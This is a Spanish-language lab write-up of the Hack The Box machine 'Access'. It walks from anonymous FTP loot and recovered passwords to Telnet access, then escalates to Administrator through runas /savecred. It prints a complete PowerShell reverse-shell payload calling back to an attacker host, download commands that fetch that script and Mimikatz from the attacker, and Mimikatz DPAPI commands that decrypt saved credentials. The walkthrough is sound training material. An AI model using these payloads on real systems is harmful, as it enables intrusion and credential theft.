Access

Resumen

Access es una máquina Windows de Hack The Box donde comenzaremos aprovechando un FTP anónimo para encontrar una base de datos de Microsoft Access y un archivo ZIP protegido. Esto nos permitirá obtener credenciales y acceder mediante Telnet como security. Finalmente, unas credenciales de Administrator almacenadas en Windows podrán reutilizarse mediante runas /savecred para escalar privilegios. Como paso adicional, veremos cómo recuperar la contraseña almacenada utilizando DPAPI y Mimikatz.

Enumeración

Descubrimiento de puertos

Comenzamos realizando un escaneo de los 1000 puertos más comunes:

nmap --top-ports 1000 -T5 -n 10.129.53.33 -sVC

Entre los servicios disponibles encontramos tres especialmente interesantes:

• 21 — FTP
• 23 — Telnet
• 80 — HTTP

Nmap también nos indica algo bastante interesante sobre FTP: Anonymous Login Allowed. Así que comenzaremos por ahí. 👀

Enumeración FTP

Nos conectamos sin proporcionar credenciales:

ftp 10.129.53.33

Dentro encontramos dos directorios:

• Backups
• Engineer

En Backups encontramos:

backup.mdb

mientras que Engineer contiene:

Access Control.zip

Descargamos ambos archivos para analizarlos desde Kali.

Analizando backup.mdb

Primero comprobamos qué tipo de archivo tenemos:

file backup.mdb

El resultado nos indica que se trata de una base de datos de Microsoft Access.

Antes de utilizar herramientas específicas, podemos hacer una búsqueda rápida entre las cadenas del archivo:

strings backup.mdb | grep -i "access"

Entre los resultados aparece algo que parece bastante sospechoso:

access4u@security

¿Una contraseña quizás? 🤔

La guardamos y continuamos con el segundo archivo.

Access Control.zip

Renombré el archivo para trabajar más cómodamente:

mv "Access Control.zip" accesscontrol.zip

Podemos extraer su información para John utilizando:

zip2john accesscontrol.zip

zip2john no descifra directamente el archivo, sino que obtiene una representación del hash que podría utilizarse posteriormente para intentar recuperar su contraseña con John.

También podemos revisar las propiedades del ZIP:

7z l -slt accesscontrol.zip

Aquí comprobamos que el contenido está protegido utilizando AES-256.

Sin embargo, antes de intentar fuerza bruta tenemos una contraseña candidata obtenida del MDB:

access4u@security

Probamos directamente:

7z x accesscontrol.zip

Introducimos la contraseña y funciona. 🎯

Dentro encontramos:

Access Control.pst

Analizando el archivo PST

Un archivo .pst es utilizado por Microsoft Outlook para almacenar información como correos electrónicos, contactos y otros elementos.

Para poder analizarlo desde Kali instalé readpst:

apt install readpst

Y procesé el archivo:

readpst "Access Control.pst"

Esto genera:

Access Control.mbox

Ahora podemos leer fácilmente los correos almacenados.

Dentro encontramos un mensaje bastante interesante indicando que la contraseña de la cuenta security había sido modificada.

Las credenciales eran:

security:4Cc3ssC0ntr0ller

Ya tenemos usuario y contraseña. 🔑

Acceso inicial mediante Telnet

Recordemos que durante el Nmap encontramos Telnet abierto en el puerto 23.

Probamos las nuevas credenciales:

telnet 10.129.53.33

La autenticación funciona correctamente y conseguimos acceso como:

ACCESS\security

Con esto ya podemos acceder a user.txt.

La terminal de Telnet no era especialmente cómoda, así que posteriormente utilicé PowerShell para obtener una reverse shell hacia Kali y continuar la enumeración desde una sesión más manejable.

Enumeración local

Durante la enumeración revisé diferentes directorios y finalmente encontré algo interesante en:

C:\Users\Public\Desktop

Mostrando también los archivos ocultos:

dir C:\Users\Public\Desktop -Force

aparece:

ZKAccess3.5 Security System.lnk

Los archivos .lnk son accesos directos de Windows, pero también pueden contener información sobre el programa que ejecutan y los argumentos utilizados.

Probé a revisar su contenido:

type "ZKAccess3.5 Security System.lnk"

Entre toda la información aparece algo clave:

runas.exe
/user:ACCESS\Administrator
/savecred

Esto ya es una pista enorme para nuestro escalamiento. 👀

Credenciales almacenadas de Administrator

runas permite ejecutar un programa utilizando las credenciales de otro usuario.

La parte realmente interesante es:

/savecred

Esta opción permite reutilizar unas credenciales que previamente fueron almacenadas en Windows.

Así que comprobamos si realmente existen:

cmdkey /list

Y encontramos:

Target: Domain:interactive=ACCESS\Administrator
Type: Domain Password
User: ACCESS\Administrator

🎯 Windows tiene almacenadas credenciales correspondientes a ACCESS\Administrator.

Esto significa que no necesitamos conocer todavía su contraseña: podemos pedirle a runas que reutilice la credencial guardada.

Comprobando RunAs

Antes de intentar conseguir una shell como Administrator hice una prueba sencilla:

runas /savecred /user:ACCESS\Administrator "cmd /c whoami > C:\Users\Public\whoami.txt"

Después comprobamos si el archivo fue creado:

type C:\Users\Public\whoami.txt

Si el comando se ejecutó correctamente, acabamos de confirmar que podemos ejecutar procesos utilizando las credenciales almacenadas de Administrator.

Ya tenemos nuestro vector de escalamiento. 😈

Escalamiento mediante RunAs /savecred

Preparé en Kali una reverse shell de PowerShell y la guardé como:

rev.ps1

El payload utilizado fue:

$c=New-Object Net.Sockets.TCPClient('<KALI_IP>',5555);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1 | Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$o=([text.encoding]::ASCII).GetBytes($r2);$s.Write($o,0,$o.Length);$s.Flush()};$c.Close()

Levantamos un servidor HTTP:

python3 -m http.server 8000

Y descargamos el script desde la máquina víctima:

(New-Object Net.WebClient).DownloadFile('http://<KALI_IP>:8000/rev.ps1','C:\Users\security\rev.ps1')

Antes de ejecutarlo dejé Netcat esperando la conexión:

nc -lvnp 5555

Ahora utilizamos las credenciales almacenadas de Administrator para ejecutar nuestra reverse shell:

runas /savecred /user:ACCESS\Administrator "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Users\security\rev.ps1"

Recibimos una nueva conexión en Kali y comprobamos:

whoami

Resultado:

access\administrator

¡Administrator! 🚩

En este punto ya podemos acceder a root.txt y completar la máquina.

Bonus: Recuperando la contraseña guardada 🔐

Aunque no necesitamos conocer la contraseña de Administrator para completar Access, queda una pregunta interesante:

¿Podemos recuperar en texto plano la credencial que Windows estaba reutilizando con **/savecred**?

Sí, y aquí entra en juego DPAPI.

¿Qué es DPAPI?

Windows utiliza Data Protection API (DPAPI) para proteger secretos asociados al usuario, incluyendo determinadas credenciales almacenadas por Credential Manager.

Los blobs de credenciales pueden encontrarse dentro de:

%APPDATA%\Microsoft\Credentials

mientras que las claves utilizadas por DPAPI se encuentran relacionadas con:

%APPDATA%\Microsoft\Protect

Podemos localizar estos archivos con PowerShell:

Get-ChildItem "$env:APPDATA\Microsoft\Credentials" -Force

y:

Get-ChildItem "$env:APPDATA\Microsoft\Protect" -Force -Recurse

En Credentials encontramos el blob correspondiente a la credencial almacenada:

51AB168BE4BDB3A603DADE4F8CA81290

Mientras que dentro de Protect\<SID> encontramos los elementos asociados a las Master Keys de DPAPI.

La idea es sencilla:

Contraseña de security
        ↓
Master Key DPAPI
        ↓
Credential Blob
        ↓
Contraseña almacenada de Administrator

Como conocemos la contraseña de security, podemos intentar descifrar su Master Key.

Descifrando la Master Key

Descargamos mimikatz.exe en la máquina:

(New-Object Net.WebClient).DownloadFile('http://<KALI_IP>:8000/mimikatz.exe','C:\Users\security\mimikatz.exe')

Después utilizamos la contraseña que ya habíamos obtenido para security:

.\mimikatz.exe "dpapi::masterkey /in:C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller" "exit"

Si todo funciona correctamente, Mimikatz consigue descifrar la Master Key y nos devuelve la clave necesaria para continuar.

Descifrando la credencial

Ahora utilizamos esa Master Key contra el blob encontrado anteriormente:

.\mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290 /masterkey:<MASTERKEY>" "exit"

Mimikatz procesa el blob DPAPI y finalmente nos muestra la información de la credencial almacenada, incluyendo la contraseña de:

ACCESS\Administrator

De esta forma no solamente conseguimos reutilizar la credencial mediante /savecred, sino también comprender dónde estaba almacenada y recuperar su contenido utilizando DPAPI. 🔓

Conclusiones

Access es una máquina sencilla pero con un recorrido bastante completo: comenzamos analizando archivos encontrados mediante FTP y terminamos abusando de credenciales almacenadas en Windows. El punto más interesante es runas /savecred, que permite escalar a Administrator sin siquiera conocer su contraseña, mientras que el análisis adicional con DPAPI nos permite entender qué ocurre realmente detrás de esas credenciales guardadas.

Herramientas utilizadas

• Nmap
• FTP
• strings
• zip2john
• 7-Zip
• readpst
• Telnet
• PowerShell
• cmdkey
• runas
• Netcat
• Mimikatz

Referencias

https://www.youtube.com/watch?v=CLZc0whr5io